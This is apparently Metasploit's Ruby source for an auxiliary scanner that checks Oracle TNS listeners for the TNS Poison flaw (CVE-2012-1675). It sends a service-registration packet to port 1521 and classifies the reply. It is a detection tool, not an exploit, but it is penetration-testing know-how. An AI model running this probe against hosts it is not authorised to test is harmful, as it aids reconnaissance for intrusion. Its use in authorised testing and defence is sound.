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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  include Msf::Exploit::Remote::TNS
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Oracle TNS Listener Checker',
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        'Description' => %q{
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          This module checks the server for vulnerabilities like TNS Poison.
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          Module sends a server a packet with command to register new TNS Listener and checks
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          for a response indicating an error. If the registration is errored, the target is not
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          vulnerable. Otherwise, the target is vulnerable to malicious registrations.
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        },
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        'Author' => ['ir0njaw (Nikita Kelesis) <nikita.elkey[at]gmail.com>'], # of Digital Security [http://dsec.ru]
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        'References' => [
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          [ 'CVE', '2012-1675'],
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          [ 'URL', 'https://seclists.org/fulldisclosure/2012/Apr/204' ],
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        ],
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        'DisclosureDate' => '2012-04-18',
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        'License' => MSF_LICENSE,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(1521)
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      ]
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    )
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  end
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  def run_host(ip)
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    begin
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      connect
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      send_packet = tns_packet("(CONNECT_DATA=(COMMAND=service_register_NSGR))")
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      sock.put(send_packet)
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      packet = sock.read(100)
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      if packet
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        hex_packet = Rex::Text.to_hex(packet, ':')
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        split_hex = hex_packet.split(':')
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        find_packet = /\(ERROR_STACK=\(ERROR=/ === packet
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        if find_packet == true # TNS Packet returned ERROR
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          print_error("#{ip}:#{rport} is not vulnerable")
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        elsif split_hex[5] == '02' # TNS Packet Type: ACCEPT
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          print_good("#{ip}:#{rport} is vulnerable")
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        elsif split_hex[5] == '04' # TNS Packet Type: REFUSE
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          print_error("#{ip}:#{rport} is not vulnerable")
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        else # All other TNS packet types or non-TNS packet type response cannot guarantee vulnerability
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          print_error("#{ip}:#{rport} might not be vulnerable")
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        end
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      else
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        print_error("#{ip}:#{rport} is not vulnerable")
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      end
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      # TODO: Module should report_vuln if this finding is solid.
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    rescue ::Rex::ConnectionError, ::Errno::EPIPE
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      print_error("#{ip}:#{rport} unable to connect to the server")
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    end
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  end
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end
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